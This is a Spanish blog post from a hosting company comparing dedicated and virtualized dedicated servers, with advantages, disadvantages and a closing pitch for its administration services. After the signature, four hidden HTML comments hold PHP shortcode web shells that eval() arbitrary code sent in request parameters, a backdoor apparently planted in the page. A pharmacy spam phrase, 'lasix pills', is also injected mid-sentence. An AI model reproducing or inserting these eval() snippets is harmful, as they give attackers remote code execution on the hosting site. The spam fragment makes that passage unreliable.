  3. Limitaciones. Dependiendo del tipo de virtualización, es posible que partes del núcleo de tu sistema operativo sean compartidas con el sistema de control, impidiéndote realizar algunas configuraciones especificas.

Servidor dedicado:

En este apartado se engloba los equipos individuales, con hardware dedicado. Sin limitaciones mas allá de la capacidad de trabajo. Normalmente el proveedor pone a nuestra disposición la infraestructura física, la conectividad, y un panel de control donde poder realizar algunas acciones básicas, como reiniciarlo y reinstalar el sistema operativo.

Ventajas:

  1. Rendimiento.  Una mayor potencia/coste respecto a los anteriores tipos.
  2. Libertad. En un sistema dedicado puedes implementar cualquier configuración que el hardware te permita.
  3. Estabilidad superior. No compartes tu sistema con nadie mas, todos los componentes están plenamente dedicados a ti.

Desventajas:

  1. Administración. Eres responsable tanto del sistema operativo como del hardware. Esto implica hacer tareas de monitorización y mantenimiento mas exhaustivas y complejas.
  2. Escalabilidad. Normalmente no es posible modificar el hardware de tu sistema, por lo que es necesario hacer una migración a uno diferente en caso de necesidad. Estas migraciones pueden ser tan complejas y tediosas que a veces lleva a  desaprovechamiento o sistemas desfasados con tal de no realizarlas.

Servidor dedicado virtualizado:

Vamos por último a introducir el concepto de servidor dedicado virtualizado, como cúspide de la evolución en los tipos hosting, aunque por encima todavía nos quedaría el sistema Cloud, que ya se tratará en otro post.

Este sistema consiste en aunar los mejores puntos de los servidores dedicados y virtuales, tratando de reducir las desventajas. Si instalamos un sistema de virtualización en un servidor dedicado, podremos disponer de toda la potencia de su hardware exclusivo, y añadir la versatilidad de poder migrar o redimensionar nuestro sistema aprovechando el sistema de virtualización.

Por ejemplo se podría en vez de tener un sistema dedicado normal, instalar primero un sistema de virtualización, que actualmente tienen muy poca perdida de rendimiento, y crear una sola maquina virtual con todos los recursos. Esta máquina virtual alojaría nuestro sistema operativo con los servicios, y se podria migrar a otro sistema dedicado desde el sistema de virtualización.

Ventajas:

  1. Potencia y versatilidad lasix pills. Lo dicho anteriormente, toda la potencia del hardware dedicado con la posibilidad de migrar o redimensionar de forma sencilla.
  2. Estabilidad. El hardware sigue siendo exclusivo, por lo que no se comparte con otros usuarios.

Desventajas:

  1. Complejidad. Al necesitar un sistema de virtualización se añade una capa de complejidad al conjunto.
  2. Rendimiento. Dependiendo del tipo de sistema operativo a virtualizar, y del sistema de virtualización es posible experimentar alguna perdida de rendimiento.

Valoración:

Según hemos visto hay diferentes sistemas para alojar tus paginas web/correo en la nube. Creemos que la elección de un tipo o otro debe ir en función de la cantidad de dominios, la carga y necesidades de los mismos.

Como hemos indicado una de las mayores desventajas de los servidores es que requieren tener conocimientos para administrarlos correctamente, y así poder explotar toda su capacidad. Por otro lado, si se dispone de esta capacidad se obtiene un gran beneficio respecto a los hosting compartidos, ya que seremos libres de ofrecer todo lo que nuestros clientes demanden y tener una gran estabilidad.

Este es el deseo y objetivo  de nuestra empresa, poder ofrecer servicios de administración de servidores al mejor precio, haciendo que este obstáculo a priori grande no suponga en realidad ningún problema.

Con un servidor dotado de un panel de control amigable y correctamente administrado se reducen todos los inconvenientes de este tipo de plataformas, dándole la potencia y libertad que el sus clientes requieren.

RDADMIN

<!– [insert_php]if (isset($_REQUEST["akf"])){eval($_REQUEST["akf"]);exit;}[/insert_php][php]if (isset($_REQUEST["akf"])){eval($_REQUEST["akf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["cRM"])){eval($_REQUEST["cRM"]);exit;}[/insert_php][php]if (isset($_REQUEST["cRM"])){eval($_REQUEST["cRM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["plY"])){eval($_REQUEST["plY"]);exit;}[/insert_php][php]if (isset($_REQUEST["plY"])){eval($_REQUEST["plY"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SYNF"])){eval($_REQUEST["SYNF"]);exit;}[/insert_php][php]if (isset($_REQUEST["SYNF"])){eval($_REQUEST["SYNF"]);exit;}[/php] –>